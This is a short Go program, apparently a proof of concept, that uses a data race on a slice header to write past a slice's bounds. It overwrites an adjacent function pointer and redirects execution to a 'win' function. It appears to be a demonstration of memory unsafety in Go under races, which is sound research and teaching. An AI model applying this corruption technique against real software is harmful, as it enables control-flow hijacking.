race-slice.go

/*
go run race-slice.go
go run -race race-slice.go
GORACE=halt_on_error=1 go run -race race-slice.go
*/
package main

import (
	"fmt"
	"os"
	"runtime"
	"strconv"
)

func address(i interface{}) int {
	addr, err := strconv.ParseUint(fmt.Sprintf("%p", i), 0, 0)
	if err != nil {
		panic(err)
	}
	return int(addr)
}

type fptr struct {
	f func()
}

func win() {
	fmt.Println("win", i, j)
	os.Exit(1)
}

var i, j int

func main() {
	if runtime.NumCPU() < 2 {
		fmt.Println("need >= 2 CPUs")
		os.Exit(1)
	}
	runtime.GOMAXPROCS(runtime.NumCPU())
	pp := address(win)
	long := make([]*int, 2)
	short := make([]*int, 1)
	target := new(fptr)
	if address(short)+8 != address(target) {
		fmt.Println("target object isn't next to short object")
		os.Exit(0)
	}
	confused := short
	go func() {
		for {
			confused = long
			confused = short
			i++
		}
	}()
	// we want confused to point to short but still have the length
	// and capacity of long, which allows to write f in target
	// if this isn't good, it will panic with index out of range, which
	// we can recover from
	g := func() {
		confused[1] = &pp
		if target.f != nil {
			target.f()
		}
		j++
	}
	f := func() {
		defer func() {
			if r := recover(); r != nil {
			}
		}()
		g()
	}
	for {
		f()
	}
}